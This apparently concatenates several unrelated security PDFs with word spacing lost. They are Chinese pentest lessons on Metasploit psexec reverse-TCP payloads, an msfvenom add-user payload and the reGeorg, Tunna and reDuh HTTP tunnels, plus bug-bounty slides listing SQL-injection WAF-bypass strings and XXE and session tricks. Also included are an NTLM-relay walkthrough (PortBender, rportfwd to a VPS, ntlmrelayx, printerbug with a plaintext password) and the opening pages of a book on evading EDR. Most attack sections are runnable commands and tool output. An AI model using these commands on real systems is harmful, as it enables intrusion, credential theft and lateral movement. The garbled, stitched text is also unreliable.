SERVICE_DESCRIPTIONnoServicedescriptiontotobeusedontargetforpretty listing 10. SERVICE_DISPLAY_NAMEnoTheservicedisplayname 11. SERVICE_NAMEnoTheservicename 12. SHAREADMIN\$yesThesharetoconnectto,canbeanadminshare (ADMIN$,C$,...)oranormalread/writefoldershare 13. SMBDomain.noTheWindowsdomaintouseforauthentication 14. SMBPass123456noThepasswordforthespecifiedusername 15. SMBUseradministratornoTheusernametoauthenticateasPayloadoptions (windows/meterpreter/reverse_tcp): 16. 17. NameCurrentSettingRequiredDescription 18. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 19. EXITFUNCthreadyesExittechnique(Accepted:'',seh,thread,process,none) 20. LHOST192.168.1.5yesThelistenaddress(aninterfacemaybespecified) 21. LPORT53yesThelistenport 22. 23. Exploittarget: 24. IdName 25. ‐‐‐‐‐‐ 26. 0Automatic 第九十七课:MSF配置自定义Payload控制目标主机权限 -619- 本文档使用书栈(BookStack.CN)构建 需设置一非,常用选项: 1. msfexploit(windows/smb/psexec)>setEXE::CUSTOM /var/www/html/bin_tcp_x86_53.exe 2. EXE::CUSTOM=>/var/www/html/bin_tcp_x86_53.exe 靶机当前端口如下: 攻击机执行: 第九十七课:MSF配置自定义Payload控制目标主机权限 -620- 本文档使用书栈(BookStack.CN)构建 靶机端口变化如下: 虽报错,但并不影响执行。 注意: Psexec创建一个服务后,来运行可执行文件(如Micropoor.exe)。但是将可执行文件作为服务, payload必须接受来自控制管理器的命令,否则将会执行失败。而psexec创建服务后,将随之停止, 该payload处于挂起模式。 参考该服务源码: https://github.com/rapid7/metasploit- framework/blob/master/data/templates/src/pe/exe/service/service.c payload启动后,将会在过一段时间内退出。并强制终止。 故该参数一般用于adduser。配合adduser_payload。或者配合一次性执行完毕非常连接的 payload。如下载。抓明文密码等。不适合需长连接通信的payload。 1. root@John:/tmp#msfvenom‐pwindows/adduserPASS=Micropoor$123USER=Micropoor‐ fexe>adduser.exe 2. [‐]Noplatformwasselected,choosingMsf::Module::Platform::Windowsfromthe payload 3. [‐]Noarchselected,selectingarch:x86fromthepayload 4. Noencoderorbadcharsspecified,outputtingrawpayload 5. Payloadsize:279bytes 6. Finalsizeofexefile:73802bytes 同样可以配合target的改变来解决控制管理器的强制命令接收。 攻击机设置: 第九十七课:MSF配置自定义Payload控制目标主机权限 -621- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(windows/smb/psexec)>showtargets 2. 3. Exploittargets: 4. 5. IdName 6. ‐‐‐‐‐‐ 7. 0Automatic 8. 1PowerShell 9. 2Nativeupload 10. 3MOFupload 11. msfexploit(windows/smb/psexec)>settarget2 12. target=>2 13. msfexploit(windows/smb/psexec)>exploit 14. 15. [*]StartedreverseTCPhandleron192.168.1.5:53 16. [*]192.168.1.119:445‐Connectingtotheserver... 17. [*]192.168.1.119:445‐Authenticatingto192.168.1.119:445asuser 'administrator'... 18. [*]192.168.1.119:445‐Uploadingpayload...kKwZpPRs.exe 19. [*]192.168.1.119:445‐Usingcustompayload/var/www/html/bin_tcp_x86\_53.exe, RHOSTandRPORTsettingswillbeignored! 20. [*]192.168.1.119:445‐CreatedkKwZpPRs.exe... 21. [‐]192.168.1.119:445‐Unabletoremovetheservice,ERROR_CODE: 22. [‐]192.168.1.119:445‐Exploitfailed:RubySMB::Error::UnexpectedStatusCode STATUS_PIPE_EMPTY 23. [*]Exploitcompleted,butnosessionwascreated. 目标机: 第九十七课:MSF配置自定义Payload控制目标主机权限 -622- 本文档使用书栈(BookStack.CN)构建 在执行payload即可。 Micropoor 第九十七课:MSF配置自定义Payload控制目标主机权限 -623- 本文档使用书栈(BookStack.CN)构建 reGeorg的前身是2008年SensePost在BlackHatUSA2008的reDuh延伸与扩展。也是目 前安全从业人员使用最多,范围最广,支持多丰富的一款http隧道。从本质上讲,可以将 JSP/PHP/ASP/ASPX等页面上传到目标服务器,便可以访问该服务器后面的主机。 2014年blackhat介绍 https://www.blackhat.com/eu-14/arsenal.html#regeorg Github: https://github.com/sensepost/reGeorg 攻击机: 192.168.1.5Debian 192.168.1.4Windows7 靶机: 192.168.1.119Windows2003 安装: 1. root@John:~#gitclonehttps://github.com/sensepost/reGeorg.git 2. Cloninginto'reGeorg'... 3. remote:Enumeratingobjects:85,done. 4. remote:Total85(delta0),reused0(delta0),pack‐reused85 5. Unpackingobjects:100%(85/85),done. 6. root@John:~#cdreGeorg/ 7. root@John:~reGeorg#ls 8. LICENSE.htmlLICENSE.txtREADME.mdreGeorgSocksProxy.pytunnel.ashxtu 9. nnel.aspxtunnel.jstunnel.jsptunnel.nosocket.phptunnel.php tunnel.tomcat.5.jsp 10. root@John:~/reGeorg#pythonreGeorgSocksProxy.py‐h 11. 12. 13. _____ 14. _____________|___|________________________ 15. |||___||___|||___|/\|||___| 16. |\|___||||||___||||\||| 17. |__|\__\|______||______|__||______|\_____/|__|\__\|______| 18. |_____| 19. ...everyofficeneedsatoollikeGeorg 20. reGeorg简介: 第九十八课:HTTP隧道reGeorg第二季 -624- 本文档使用书栈(BookStack.CN)构建 21. willem@sensepost.com/@_w_m__ 22. sam@sensepost.com/@trowalts 23. etienne@sensepost.com/@kamp_staaldraad 24. 25. usage:reGeorgSocksProxy.py[‐h][‐l][‐p][‐r]‐u[‐v] 26. 27. SocksserverforreGeorgHTTP(s)tunneller 28. 29. optionalarguments: 30. ‐h,‐‐helpshowthishelpmessageandexit 31. ‐l,‐‐listen‐onThedefaultlisteningaddress 32. ‐p,‐‐listen‐portThedefaultlisteningport 33. ‐r,‐‐read‐buffLocalreadbuffer,maxdatatobesentperPOST 34. ‐u,‐‐urlTheurlcontainingthetunnelscript 35. ‐v,‐‐verboseVerboseoutput[INFO\|DEBUG] 1. root@John:~/reGeorg#pipinstallurllib3 2. Requirementalreadysatisfied:urllib3in/usr/lib/python2.7/dist‐packages (1.24) 靶机执行: 以aspx为demo。 第九十八课:HTTP隧道reGeorg第二季 -625- 本文档使用书栈(BookStack.CN)构建 攻击机执行: 1. pythonreGeorgSocksProxy.py‐p8080‐l192.168.1.5‐u http://192.168.1.119/tunnel.aspx Windows下配合Proxifier: 第九十八课:HTTP隧道reGeorg第二季 -626- 本文档使用书栈(BookStack.CN)构建 非常遗憾的是,目前大部分waf都会针对默认原装版本的reGeorg。 Micropoor 第九十八课:HTTP隧道reGeorg第二季 -627- 本文档使用书栈(BookStack.CN)构建 Tunna简介: Tunna1.1是secforce在2014年11月出品的一款基于HTTP隧道工具。其中v1.1中支持了 SOCKS4a。 Tunna演示稿: https://drive.google.com/open?id=1PpB8_ks93isCaQMEUFf_cNvbDsBcsWzE Github: https://github.com/SECFORCE/Tunna 攻击机: 192.168.1.5Debian 192.168.1.4Windows7 靶机: 192.168.1.119Windows2003 安装: 1. root@John:~#gitclonehttps://github.com/SECFORCE/Tunna.git 2. Cloninginto'Tunna'... 3. remote:Enumeratingobjects:6,done. 4. remote:Countingobjects:100%(6/6),done. 5. remote:Compressingobjects:100%(6/6),done. 6. remote:Total156(delta0),reused2(delta0),pack‐reused150 7. Receivingobjects:100%(156/156),8.93MiB|25.00KiB/s,done. 8. Resolvingdeltas:100%(84/84),done. 靶机执行: 以aspx为demo。 第九十九课:HTTP隧道Tunna第三季 -628- 本文档使用书栈(BookStack.CN)构建 攻击机执行: 1. pythonproxy.py‐uhttp://192.168.1.119/conn.aspx‐l1234‐r3389‐s‐v 第九十九课:HTTP隧道Tunna第三季 -629- 本文档使用书栈(BookStack.CN)构建 解决:GeneralException:[Errno104]Connectionresetbypeer 1. [+]Spawningkeep‐alivethread 2. [‐]Keep‐alivethreadnotrequired 3. [+]Checkingforproxy:False 连接后,出现 1. GeneralException:[Errno104]Connectionresetbypeer 等待出现:无法验证此远程计算机的身份,是否仍要连接? 再次运行,在点击是(Y) 1. pythonproxy.py‐uhttp://192.168.1.119/conn.aspx‐l1234‐r3389‐s‐v 附录: 第九十九课:HTTP隧道Tunna第三季 -630- 本文档使用书栈(BookStack.CN)构建 第九十九课:HTTP隧道Tunna第三季 -631- 本文档使用书栈(BookStack.CN)构建 如果:没有出现“无法验证此远程计算机的身份,是否仍要连接?” 注册表键值: HKEY_CURRENT_USER\Software\Microsoft\TerminalServerClient\Servers 删除对应IP键值即可。 非常遗憾的是,Tunna对PHP的支持并不是太友好。 Micropoor 第九十九课:HTTP隧道Tunna第三季 -632- 本文档使用书栈(BookStack.CN)构建 reDuh简介: reDuh是sensepost由2008-07年发布,从本质上讲,可以将JSP/PHP/ASP/ASPX等页面上传到目标 服务器,便可以访问该服务器后面的主机。 BlackHatUSA2008介绍: https://drive.google.com/open?id=1AqmtuBnHQJS-FjVHzJMNNWokda048By- Github: https://github.com/sensepost/reDuh 攻击机: 192.168.1.5Debian 192.168.1.4Windows7 靶机: 192.168.1.119Windows2003 安装: 1. root@John:~#gitclonehttps://github.com/sensepost/reDuh.git 2. Cloninginto'reDuh'... 3. remote:Enumeratingobjects:47,done. 4. remote:Total47(delta0),reused0(delta0),pack‐reused47 5. Unpackingobjects:100%(47/47),done. 6. root@John:~#cdreDuh/ 7. root@John:~/reDuh#ls 8. README.markdownreDuhClientreDuhServers 靶机执行: 以aspx为demo。 第一百课:HTTP隧道reDuh第四季 -633- 本文档使用书栈(BookStack.CN)构建 攻击机执行: 绑定端口: 1. root@John:~/reDuh/reDuhClient/dist#java‐jarreDuhClient.jar http://192.168.1.119/reDuh.aspx 2. [Info]Queryingremotewebpageforusableremoteserviceport 3. [Info]RemoteRPCportchosenas42000 4. [Info]AttemptingtostartreDuhfrom192.168.1.119:80/reDuh.aspx.Usingservice port42000.Pleasewait... 5. [Info]reDuhClientservicelistenerstartedonlocalport1010 开启新terminal,建立隧道 命令如下: [createTunnel][本地绑定端口]:127.0.0.1:[远程端口] 1. root@John:~#telnet127.0.0.11010 2. Trying127.0.0.1... 3. Connectedto127.0.0.1. 4. Escapecharacteris'^]'. 5. WelcometothereDuhcommandline 6. >>[createTunnel]30080:127.0.0.1:80 7. Successfullyboundlocallytoport30080.Awaitingconnections. 第一百课:HTTP隧道reDuh第四季 -634- 本文档使用书栈(BookStack.CN)构建 攻击机端口前后对比: 1. root@John:~#netstat‐ntlp 2. ActiveInternetconnections(onlyservers) 3. ProtoRecv‐QSend‐QLocalAddressForeignAddressStatePID/Programname 4. tcp000.0.0.0:9020.0.0.0:*LISTEN809/vmware‐authdlau 5. tcp000.0.0.0:220.0.0.0:*LISTEN674/sshd 6. tcp600:::902:::*LISTEN809/vmware‐authdlau 7. tcp600:::22:::*LISTEN674/sshd 8. root@John:~#netstat‐ntlp 9. ActiveInternetconnections(onlyservers) 10. ProtoRecv‐QSend‐QLocalAddressForeignAddressStatePID/Programname 11. tcp000.0.0.0:9020.0.0.0:*LISTEN809/vmware‐authdlau 12. tcp000.0.0.0:220.0.0.0:*LISTEN674/sshd 13. tcp600:::902:::*LISTEN809/vmware‐authdlau 14. tcp600:::1010:::*LISTEN6102/java 15. tcp600:::22:::*LISTEN674/sshd 16. tcp600:::30080:::\*LISTEN6102/java 访问攻击机30080端口,既等价于访问靶机80端口 1. root@John:~#curlhttp://192.168.1.5:30080/ 第一百课:HTTP隧道reDuh第四季 -635- 本文档使用书栈(BookStack.CN)构建 2. <html> 3. 4. <head> 5. <metaHTTP‐EQUIV="Content‐Type"Content="text/html;charset=gb2312"> 6. 7. <titleID=titletext>建设中</title> 8. 9. </head> 10. 11. <bodybgcolor=white> 12. 13. ... 14. 15. </body> 16. 17. </html> 遗憾的是reDuh年代久远,使用繁琐,并官方已停止维护。但是它奠定了HTTP隧道。 Micropoor 第一百课:HTTP隧道reDuh第四季 -636- 本文档使用书栈(BookStack.CN)构建
pdf
众测困住你的那些问题 jkgh006 | 众测资深玩家,多家众测平台TOP白帽 前 言 安全趋势的发展,现在已经变成三大阵容,一个是代表过去的传统漏洞平台,第二个是以乙方为 首的众测平台,以及以甲方主导的SRC平台 , 传统的漏洞平台慢慢的淡出视野,现在最火的莫过于 SRC和众测,所有的类型终将归为一种方法,所以对于其中众测也是有一套方法论,怎么分析,怎 么去绕,怎么去获取证据,等等都是有章可循,我们重点关注众测困住你的那些问题。 目录 01 拦截框架下注入的过程拆解 02 基于三方调用框架分析利用 03 趣味的SESSION和EXCEL 01 拦截框架下注入的过程拆解 越来越多的web系统,随着运维方安全意识的提高,网络设备的投入, 以及安全编码规范的介入,漏洞的发现从过去的简单粗暴,到现在举步 维艰,怎么去判断漏洞的存在,进而根据漏洞获取证据数据,这个是个 众测平台选手的痛点 1 拦截框架下注入的过程拆解 1.WAF产品的原理 2.全局过WAF的几个思考点 3.漏洞层面的过WAF 层层递进分析WAF求证据 1.判断性SQL语句的形式 2.条件判断函数方法分析 3.通用型判断SQL语句对比 数据库层面基础铺垫 1.基于JPQL类型的绕过分析 2.基于Hibernate类型的绕过分析 框架层的语句分析 if(1=(select 1 REGEXP if(1=1,1,0x00)),1,1)=1 IFNULL(ascii(substr(user(),1,1))/(114%ascii(substr (user(),1,1))),'yes’) IFNULL(hex(substr(user(),1,1))/(114%hex(substr(u ser(),1,1))),'yes’) IFNULL(1/(locate(substr(user(),1,1),'r')),'yes’) IFNULL(1/(locate(right(left(lower(user()),1),1),'r')),' yes’) left(user(),1)="r"; if(1=1,1,1) NVL(TO_CHAR(DBMS_XMLGEN.getxml('sele ct 1 from dual where 1337>1')),'1')!=1 NVL2(NULLIF(substr('abc',1,1),'ca'),1,2)=1 INSTR('abcd','b', 2, 1)>0 2018-10-21’- decode(1,21,1,to_date(decode(1,1,'','s'),'yyyy -mm-dd'))-’ to_date(decode(substr(user,1,1),'a','','s'),'yyy y-mm-dd’)) decode(sign(INSTR(USER,'A', 2, 1)),0,to_number('x'),1) PATINDEX('Wa%25', 'Washington')>0 right(left(lower('abc'),1),1)='a’ isnull(nullif(substring('abc',1,1),'a'),'c')='c' regexp_like(1,(case when 1=1 then 1 else 0x00 end)) 1 数据库层面基础铺垫-条件判断函数方法分析 云模式只需将网 站的DNS解析到 WEB防火墙,就 可以开始服务 Web防火墙 从waf的拦截机理我们可以分 为两种模式的绕过: 1.全局性质的绕过 2.漏洞从面的绕过 1 层层递进分析WAF求证据-WAF产品的原理 (a.畸形包绕过,b.正向数据绕过) 1.从原理上讲数据流过waf,也就是经过网络设备,再到后台的 web容器,这里面存在很多兼容差问题,比如国内传统的waf, 网络层解析通过nginx做的,如果web部署在weblogic,或者 tomcat上,因为后者都有容错性处理,所以可以解析畸形包, 但是在nginx曾解析不了,从而放过处理,达到全局绕过 2.所谓正向数据,就是说数据包本身是一个正常的,没有进行畸 形构造,是过了waf的黑白名单等配置型漏洞,如果, HTTP/1.0,再比如构造假multipart数据配合GET绕过阿里云等 等 1 层层递进分析WAF求证据-全局过WAF的几个思考点 ORM注入 数字类型( JPQL ): SELECT e FROM user e WHERE e.id = SQL('(select 1 from dual where 1=1)’) and SQL('(SELECT 1)=1’) 字符类型(JPQL): 通常指的是类似hibernate一类具有安全语法检测的注入 1 框架层的语句分析-基于JPQL类型的绕过分析 ORM注入 数字类型( Hibernate ORM ): test\'' or 1<length((select version())) – 翻译成为HQL语句就变为: SELECT p FROM pl.btbw.persistent.Post p where p.name='test\'' or 1<length((select version())) – ' 最后转变为真正的SQL语句: select post0_.id as id1_0_, post0_.name as name2_0_ from post post0_ where post0_.name=‘test\'' or 1<length((select version())) -- ' 这样我们就会逃逸出来一个语句或者方法 通常指的是类似hibernate一类具有安全语法检测的注入 1 框架层的语句分析-基于Hibernate类型的绕过分析 1.默认的安全配置项 2.未授权的访问 3.Debug状态下的问题 DWR接口 1.未授权访问 2.自带绕waf光环 3.接口枚举猜测 GWT接口 1.默认的安全配置 2.未授权的访问 3.自身未修复漏洞 WEBSERVICE接口 1.未授权的访问 2.自带绕waf光环 3.自身未修复漏洞 HESSIAN接口 2 基于三方调用框架分析利用 <servlet> <servlet-name>CXFServlet</servlet-name> <servletclass>org.apache.cxf.transport.servlet.CXFServlet</servlet- class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>CXFServlet</servlet-name> <url-pattern>/webservice/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>XFireServlet</servlet-name> <url-pattern>/servlet/XFireServlet/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>XFireServlet</servlet-name> <url-pattern>/services/*</url-pattern> </servlet-mapping> <<servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>/servlet/AxisServlet</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>*.jws</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>/service/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>/services/*</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>SOAPMonitorService</servlet-name> <url-pattern>/SOAPMonitor</url-pattern> </servlet-mapping> <servlet> <servlet-name>AxisServlet</servlet-name> <servlet-class> org.apache.axis.transport.http.AxisServlet </servlet-class> </servlet> <servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>/services/*</url-pattern> </servlet-mapping> 2 基于三方调用框架分析利用-WEBSERVICE接口 Jws文件审计 1. 在web目录全局查找jws结尾的文件 2. 根据对应的web访问目录通过浏览器进行访问 3. 对其相应的接口进行审计 通常而言jws文件也是axis2发布的一种表现形式,然后更多的被 审计人员忽略 2 基于三方调用框架分析利用-WEBSERVICE接口 SOAPMonitor 1. 访问根路径/SOAPMonitor , 右键源码就可以看到一个配置项 内容 2. 远程调试时候开放默认5001端口进行对象传输 3. 寻找对应的执行链构造payload进行rec 用来进行webservice管理发布,调试等等,这里面存在一个反序 列化的问题 2 基于三方调用框架分析利用-WEBSERVICE接口 Axis2 1. 访问对应的webservice路径,比如/services/或者 /servlet/AxisServlet 2. 对所有接口对应的类进行审计,通常默认情况下都是一一对应 3. 低版本构造xxe payload可以进行漏洞测试 对于整个项目通过axis2或者axis发布的服务,从统计经验上来讲, 未授权大面积存在,而且低版本的从全局上就存在xml实体注入 漏洞 2 基于三方调用框架分析利用-WEBSERVICE接口 Xfire 1. 访问根路径/services,暴露对应的webservices接口 2. 构造payload全局造成xml实体注入 Web发布容器,已经停止维护,截至到最后一个版本,在 webservice上还是存在xml实体注入 2 基于三方调用框架分析利用-WEBSERVICE接口 <create javascript="commonparams" creator="new"> <param name="class" value="com.example.dwr.commontest.CommonParams" /> </create> <init-param> <param-name>debug</param-name> <param-value>true</param-value> </init-param> <servlet-mapping> <servlet-name>dwr-invoker</servlet-name> <url-pattern>/dwr/*</url-pattern> </servlet-mapping> 2 基于三方调用框架分析利用-DWR接口 1. 实际的网站发布debug模式是关闭状态,我们做黑盒测试就要去猜测 两个默认目录,分别为/exec/和/dwr 2. 审计可以套用左边的请求包的模板,在你认为存在问题的地方构造 java接口调用的请求数据包 3. 网站发布dwr接口,通常都是未授权调用,包含内容比较多,比如用 户,管理等api接口 4. 如果参数构造有不确定因素,可以把对应的dwr接口空实现,然后转 接到我们自己可以本地模拟的代码上面来 2 基于三方调用框架分析利用-DWR接口 入 口 接 口 演 变 测 试 http://xxxx.189.cn/dwr/call/plaincall/Service.excute. dwr 这里会列表出来Service地下的所有接口 http://xxx.189.cn/dwr/interface/Service.js.js 复制出来js粘贴到console端,然后通过 js代码模拟远程测试抓包 2 基于三方调用框架分析利用-DWR接口 1 2 3 4 2 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:tx="http://www.springframework.org/schema/tx" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-2.0.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-2.0.xsd"> <!-- hessian服务通过spring暴露出去 --> <bean id ="EncryptService.hessian" class ="com.ufgov.admin.license.svc.EncryptServiceImpl"> </bean> </beans> <servlet-mapping> <servlet-name> HessianSpringInvokeService </servlet-name> <url-pattern>/*.hessian</url-pattern> </servlet-mapping> 2 基于三方调用框架分析利用-HESSIAN接口 2 基于三方调用框架分析利用-HESSIAN接口 2 <servlet> <servlet-name>greetServlet</servlet-name> <servlet-class> com.google.gwt.sample.validation.server.GreetingServiceImpl </servlet-class> </servlet> <servlet-mapping> <servlet-name>greetServlet</servlet-name> <url-pattern>/gwtrpcservlet</url-pattern> </servlet-mapping> 2 基于三方调用框架分析利用-GWT接口 PHP中的SESSION污染 XXE在EXCEL中的应用场景 3 趣味的SESSION和EXCEL SESSION 场景:在进行一些操作时,很常见的写 法是先将验证码存储于Session当中, 将验证码作为图片或是手机验证码,邮 箱等方式发送给用户,对其进行身份的 验证. 通常在这种情况下会很容易引发 一个问题, 该场景常见于php中: 用户A找回密码,需要进行手机校 验码的校验,服务器把发送出去的验证 码放在了Session中,此时用户必须输 入正确的验证码才能成功的进行密码 重置 场景: 在php中,session使用文件的方 式存储,它的唯一性不是很好(多个应 用可以访问同一个Session) 某程序员开发了一套CMS,把他作 为一个demo部署在了自己的官网A 上某程序员开发了一套CMS,把他 作为一个demo部署在了自己的官网 B ,但是这两个域名都解析到了同一 服务器上,可能就会产生很大的问题 3 趣味的SESSION和EXCEL-PHP中的SESSION污染 3 当正常情况下,必须是验证码输入正确才能成功: 但是如果 在 没 发 送 验 证 码 的 情 况 下 , 那 么 session中code为空,再将请求提交的验证码置为空 使用php的情况下会导致false == false,即条件为 真,验证码匹配成功, 出现这一问题的原因是由于服务器没有正确 的处理session,在使用之后必须对其进行 销毁,并且需要对session进行空验证 3 Demo站点(http://www.test.com): 正式站点的后台应用 (http://admin.test.com): 先访问demo应用: 然后直接去访问另一个应用(正式站点后台): 在未登录http://admin.test.com的情况下,通过先访问http://www.test.com/ demo站点对自己的session进行一次赋值,伪造出身份 那么这个session是可以被http://admin.test.com访问到的,所以造成的混淆使用 引发安全问题 1 2 2 新建一个xlsx-》解压如图1-》对全局的xml进行更改如图2=》最后再把图1打包成xlsx文件: 3 趣味的SESSION和EXCEL-XXE在EXCEL中的应用场景 3 趣味的SESSION和EXCEL-XXE在EXCEL中的应用场景 应用场景: 在很多系统,不管是后台还是前台,我们经常会碰到,导入/导 出这样的字样,从统计的角度来看,百分之八十以上都是excel, 例如,导入人员信息/导出人员信息,录入系统配置/导出系统配 置等等 技巧变形: 从某种意义上,我们是不需要去修改workbook.xml,有时候我 们想要达到的目的就是,导出来之后,然后根据格式,外部实体 引入,读取系统文件,比如/etc/passwd等,可以在导入的时候 进行操作,那么我们就应该去修改xl/worksheets/sheet1.xml 调用的实体 替换模板数据即可,这时候当我们导入时候,就会把 系统敏感文件读取出来 3 趣味的SESSION和EXCEL-XXE在EXCEL中的应用场景
pdf
前⾔ 在域内,有很多种⼿法可以获取域控权限,包括不限于利⽤溢出类的漏洞如ms17-010、抓取域管密码,当然也有 今天的主⻆,利⽤ntlm relay。ntlm relay⼿法有很多,⽐如利⽤WPAD、LLMNR等“被动性”攻击,利⽤打印机等 “主动性”攻击,核⼼就是中继了他⼈的net-ntlm。但是呢,利⽤⼯具监听的都是本地445端⼝,受害者机器与我们 通信的也是445端⼝,⽽在windows上445端⼝是占⽤的,难道利⽤ntlm relay⼿法只能基于linux机器? 攻击过程 ⾸先把受控机的445端⼝流量重定向到受控机⾃⼰的8445端⼝,然后把受控机的8445端⼝转发到⿊客机器的445端 ⼝上,⿊客机器利⽤受控机的socks代理攻击其他机器: 以攻击AD CS为例: 环境如下: 192.168.8.144 主域 192.168.8.155 辅域 vpsip cobaltstrike机器 192.168.8.75 受控机 受控机管理员权限执⾏: 利⽤https://github.com/praetorian-inc/PortBender 把受控机的445端⼝重定向到受控机⾃⼰的8445端⼝,⾸先 把驱动传到当前shell⽬录下(pwd),根据⾃⼰系统位数传: upload xxxx.sys 执⾏重定向: PortBender redirect 445 8445 开启端⼝转发: rportfwd 8445 vpsip 445 cs开启socks。 ⿊客机器执⾏: 设置代理。 开启relay: proxychains4 ntlmrelayx.py -t http://192.168.8.144/certsrv/certfnsh.asp -smb2support -- adcs --template 'domain controller' 利⽤socks或者exe触发强制回连,如打印机: python printerbug.py rootkit.org/jerry:Admin12345@192.168.8.155 192.168.8.75 成功获取证书信息: 总结 这⾥最好spawn多个进程出来执⾏不同的命令,因为要做的实在太多了,有重定向、端⼝转发、socks,如果全在 ⼀个session⾥⾯执⾏可能会挂。其次因为⾛了很多层流量转发,因此⿊客机器上收到流量时会特别慢。
pdf
E VA DING E DR A C O M P R E H E N S I V E G U I D E T O D E F E A T I N G E N D P O I N T D E T E C T I O N S Y S T E M S M A T T H A N D placeholder NOT FINAL EARLY ACCESS NO S TA RCH PR E S S E A R LY ACCE S S PROG R A M: F E E DBACK W E L COME ! Welcome to the Early Access edition of the as yet unpublished Evading EDR by Matt Hand! As a prepublication title, this book may be incomplete and some chapters may not have been proofread. Our goal is always to make the best books possible, and we look forward to hearing your thoughts. If you have any comments or questions, email us at earlyaccess@nostarch.com. If you have specific feedback for us, please include the page number, book title, and edition date in your note, and we’ll be sure to review it. We appreciate your help and support! We’ll email you as new chapters become available. In the meantime, enjoy! E VA DING E DR M AT T H A N D Early Access edition, 05/24/23 Copyright © 2023 by Matt Hand. ISBN-13: 978-1-7185-0334-2 (print) ISBN-13: 978-1-7185-0335-9 (ebook) Publisher: William Pollock Managing Editor: Jill Franklin Production Manager: Sabrina Plomitallo-González Production Editor: Jennifer Kepler Developmental Editor: Frances Saux Interior Design: Octopod Studios Technical Reviewer: Joe Desimone Copyeditor: Audrey Doyle No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trade- marked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any informa- tion storage or retrieval system, without the prior written permission of the copyright owner and the publisher. The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it. CON T E N T S Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . v Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . vii Chapter 1: EDR-chitecture . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 Chapter 2: Function-Hooking DLLs . . . . . . . . . . . . . . . . . . . . . 17 Chapter 3: Process- and Thread-Creation Notifications . . . . . . 33 Chapter 4: Object Notifications . . . . . . . . . . . . . . . . . . . . . . 61 Chapter 5: Image-Load and Registry Notifications . . . . . . . . . 79 Chapter 6: Filesystem Minifilter Drivers . . . . . . . . . . . . . . . . 103 Chapter 7: Network Filter Drivers . . . . . . . . . . . . . . . . . . . . 123 Chapter 8: Event Tracing for Windows . . . . . . . . . . . . . . . . 143 Chapter 9: Scanners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171 Chapter 10: Antimalware Scan Interface . . . . . . . . . . . . . . . 183 Chapter 11: Early Launch Antimalware Drivers . . . . . . . . . . 201 Chapter 12: Microsoft-Windows-Threat-Intelligence . . . . . . . . 215 Chapter 13: Case Study: A Detection-Aware Attack . . . . . . . 237 Appendix: Auxiliary Sources . . . . . . . . . . . . . . . . . . . . . . . 263 Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 000 The chapters in red are included in this Early Access PDF. ACK NOW L E DG M E N T S I wrote this book standing on the shoulders of giants. I’d specifically like to thank all the people who listened to my crazy ideas, answered my 3 am questions, and kept me headed in the right direction while writing this book, the names of whom would fill many pages. I’d also like to thank everyone at No Starch Press, especially Frances Saux, for helping make this book a reality. Thank you to my family for their love and support. Thank you to The Boys, without whom the time spent writing this book wouldn’t have been full of nearly as many laughs. Thanks to the team at SpecterOps for provid- ing me with such a supportive environment through the process of writing this book. Thank you to Peter and David Zendian for taking a chance on a kid who walked in off the streets, setting me down the path that led to the creation of this book. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand Today, we accept that network compromises are inevitable. Our security landscape has turned its focus toward detecting adversary activities on compromised hosts as early as pos- sible and with the precision needed to respond effec- tively. If you work in security, you’ve almost certainly come across some type of endpoint security product, whether it be legacy antivirus, data-loss prevention software, user-activity monitoring, or the subject of this book, endpoint detection and response (EDR). Each product serves a unique purpose, but none is more prevalent today than EDR. An EDR agent is a collection of software components that create, ingest, process, and transmit data about system activity to a central node, IN T ROD U C T ION Evading EDR (Early Access) © 2023 by Matt Hand viii   Introduction whose job is to determine an actor’s intent (such as whether their behavior is malicious or benign). EDRs touch nearly all aspects of a modern secu- rity organization. Security operation center (SOC) analysts receive alerts from their EDR, which uses detection strategies created by detection engineers. Other engineers maintain and deploy these agents and servers. There are even entire companies that make their money managing their clients’ EDRs. It’s time we stop treating EDRs like magic black boxes that take in “stuff” and output alerts. Using this book, offensive and defensive security practitioners alike can gain a deeper understanding of how EDRs work under the hood so that they can identify coverage gaps in the products deployed in target environments, build more robust tooling, evaluate the risk of each action they take on a target, and better advise clients on how to cover the gaps. Who This Book Is For This book is for any reader interested in understanding endpoint detec- tions. On the offensive side, it should guide researchers, capability develop- ers, and red team operators, who can use the EDR internals and evasion strategies discussed here to build their attack strategies. On the defensive side, the same information serves a different purpose. Understanding how your EDR works will help you make informed decisions when 